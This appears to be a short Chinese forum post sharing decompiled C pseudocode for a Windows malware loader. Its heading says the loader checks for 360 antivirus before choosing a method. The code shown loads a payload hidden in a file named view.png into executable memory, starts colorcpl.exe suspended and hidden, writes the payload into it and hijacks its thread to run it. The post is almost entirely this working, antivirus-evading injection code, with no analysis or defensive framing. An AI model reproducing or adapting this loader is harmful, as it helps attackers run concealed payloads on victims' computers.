判断是否存在360 不存在则注入 存在则内存加载- void sub_1800015D0()
- {
- void **v0; // rcx
- void *v1; // rbx
- void *v2; // rdi
- void *v3; // rbx
- HANDLE CurrentProcess; // rax
- void *v5; // rcx
- void *v6; // rcx
- size_t Size; // [rsp+50h] [rbp-B0h] BYREF
- struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-A8h] BYREF
- void *Block[3]; // [rsp+70h] [rbp-90h] BYREF
- unsigned __int64 v10; // [rsp+88h] [rbp-78h]
- void *Src[3]; // [rsp+90h] [rbp-70h] BYREF
- unsigned __int64 v12; // [rsp+A8h] [rbp-58h]
- struct _STARTUPINFOA StartupInfo; // [rsp+B0h] [rbp-50h] BYREF
- struct _CONTEXT Context; // [rsp+120h] [rbp+20h] BYREF
- sub_1800011D0(Src);
- sub_1800027F0(Block, Src, L"\\view.png");
- Size = 0i64;
- v0 = Block;
- if ( v10 >= 8 )
- v0 = (void **)Block[0];
- v1 = sub_180003430((const WCHAR *)v0, &Size);
- v2 = VirtualAlloc(0i64, 0x7A120ui64, 0x3000u, 0x40u);
- memcpy(v2, v1, Size);
- memset(&StartupInfo, 0, sizeof(StartupInfo));
- StartupInfo.cb = 68;
- free(v1);
- StartupInfo.dwFlags = 1;
- StartupInfo.wShowWindow = 0;
- if ( CreateProcessA(0i64, (LPSTR)"colorcpl.exe", 0i64, 0i64, 0, 0x44u, 0i64, 0i64, &StartupInfo, &ProcessInformation) )
- {
- Context.ContextFlags = 65539;
- GetThreadContext(ProcessInformation.hThread, &Context);
- v3 = VirtualAllocEx(ProcessInformation.hProcess, 0i64, 0x7A120ui64, 0x1000u, 0x40u);
- WriteProcessMemory(ProcessInformation.hProcess, v3, v2, 0x7A120ui64, 0i64);
- Context.Rip = (DWORD64)v3;
- SetThreadContext(ProcessInformation.hThread, &Context);
- ResumeThread(ProcessInformation.hThread);
- CloseHandle(ProcessInformation.hThread);
- CloseHandle(ProcessInformation.hProcess);
- }
- CurrentProcess = GetCurrentProcess();
- TerminateProcess(CurrentProcess, 0);
- if ( v10 >= 8 )
- {
- v5 = Block[0];
- if ( 2 * v10 + 2 >= 0x1000 )
- {
- v5 = (void *)*((_QWORD *)Block[0] - 1);
- if ( (unsigned __int64)(Block[0] - v5 - 8) > 0x1F )
- invalid_parameter_noinfo_noreturn();
- }
- j_j_free(v5);
- }
- Block[2] = 0i64;
- v10 = 7i64;
- LOWORD(Block[0]) = 0;
- if ( v12 >= 8 )
- {
- v6 = Src[0];
- if ( 2 * v12 + 2 >= 0x1000 )
- {
- v6 = (void *)*((_QWORD *)Src[0] - 1);
- if ( (unsigned __int64)(Src[0] - v6 - 8) > 0x1F )
- invalid_parameter_noinfo_noreturn();
- }
- j_j_free(v6);
- }
- }
复制代码
|